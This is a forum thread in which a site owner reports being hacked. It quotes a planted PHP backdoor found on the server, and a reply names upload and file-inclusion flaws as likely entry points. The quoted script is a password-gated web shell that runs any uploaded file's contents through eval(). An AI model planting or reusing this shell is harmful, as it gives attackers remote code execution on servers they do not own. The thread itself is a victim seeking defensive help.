Jump to content

Recommended Posts

Hi all, Sometimes when accessing my site I get redirected to an alternative site. I checked htaccess and it had a load of refirects in there that I didn't write. Permissions for it were 770.

 

I found the following in a php file (that I did not create):

<?php
error_reporting(1);
global $HTTP_SERVER_VARS; 

function say($t) 
{ echo "$t\n"; }; 

function testdata($t) 
{ say(md5("testdata_$t"));};

echo "<pre>"; testdata('start'); 
if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3")	{
	if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])) { 
		eval($code); }
	else {testdata('f'); }
	; }
else{testdata('pass'); }; 
testdata('end'); 
echo "</pre>"; 
?>

 

Is a hacker trying to figure out how to exploit my site? How did someone have permission to create a file on my server? Is that possible because I have 'weak' code, despite file permissions preventing global write?

 

I have notcied that in the above php file, and the modified .htaccess that there is a lot of blank space around the code, which makes me think the modifications are result of someone elses code.

 

Any advice here appreciated.

 

Link to comment
https://forums.phpfreaks.com/topic/136741-help-ive-been-hacked/
Share on other sites

Two easy ways that someone can put a script on your server are if you have an upload form without validation of what was uploaded or where it is put or you are including a file where the name/url of that file is taken from a variable that comes from outside your script without validation of what or where that file name is.

Link to comment
https://forums.phpfreaks.com/topic/136741-help-ive-been-hacked/#findComment-714244
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.